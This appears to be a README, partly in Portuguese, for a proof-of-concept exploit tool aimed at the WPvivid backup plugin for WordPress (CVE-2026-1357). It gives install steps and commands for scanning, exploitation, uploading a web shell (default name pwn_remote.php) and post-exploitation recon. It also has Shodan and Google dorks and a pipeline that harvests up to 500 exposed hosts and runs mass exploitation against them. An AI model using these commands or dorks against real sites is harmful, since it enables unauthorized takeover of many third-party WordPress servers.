git clone https://github.com/cybertechajju/CVE-2026-1357-poc.git
cd CVE-2026-1357-poc
pip install -r requirements.txt

# Apenas varredura (detectar WordPress + WPvivid + versão)
python3 cve_2026_1357.py -u http://target.com

# Varredura + Exploit + Pós-Exploração Automática
python3 cve_2026_1357.py -u http://target.com --exploit

# Exploit sem recon de pós-exploração
python3 cve_2026_1357.py -u http://target.com --exploit --no-post

# Varredura em massa com relatório
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report

# Através de proxy Burp
python3 cve_2026_1357.py -u http://target.com --exploit --proxy http://127.0.0.1:8080

# Modo apenas payload
python3 cve_2026_1357.py -u http://x --payload-only

-u, --url         URL de alvo único
-l, --list        Arquivo com URLs (uma por linha)
--exploit         Ativar modo de exploração
--shell NAME      Nome do arquivo shell (padrão: pwn_remote.php)
--no-post         Pular recon de pós-exploração
--report          Gerar relatório PoC em markdown
--report-dir DIR  Diretório de saída do relatório
-t, --threads N   Threads concorrentes (padrão: 5)
--timeout SECS    Timeout de requisição (padrão: 10)
--proxy URL       Proxy HTTP para Burp
--payload-only    Imprimir payload base64 e sair

# Shodan
http.html:"wpvivid-backuprestore"
http.html:"wpvivid" http.component:"WordPress"

# Google
inurl:"/wp-content/plugins/wpvivid-backuprestore/readme.txt"

# Pipeline
shodan search 'http.html:"wpvivid-backuprestore"' --fields ip_str,port --limit 500 \
  | awk '{print "http://"$1":"$2}' > targets.txt
python3 cve_2026_1357.py -l targets.txt -t 20 --exploit --report

CVE-2026-1357-poc/
├── cve_2026_1357.py    ← Ferramenta principal (scanner + explorador + pós-exploração)
├── dorks.md            ← Dorks Shodan/Google/Censys/FOFA/ZoomEye
├── requirements.txt    ← Dependências Python
├── .gitignore
└── README.md           ← Este arquivo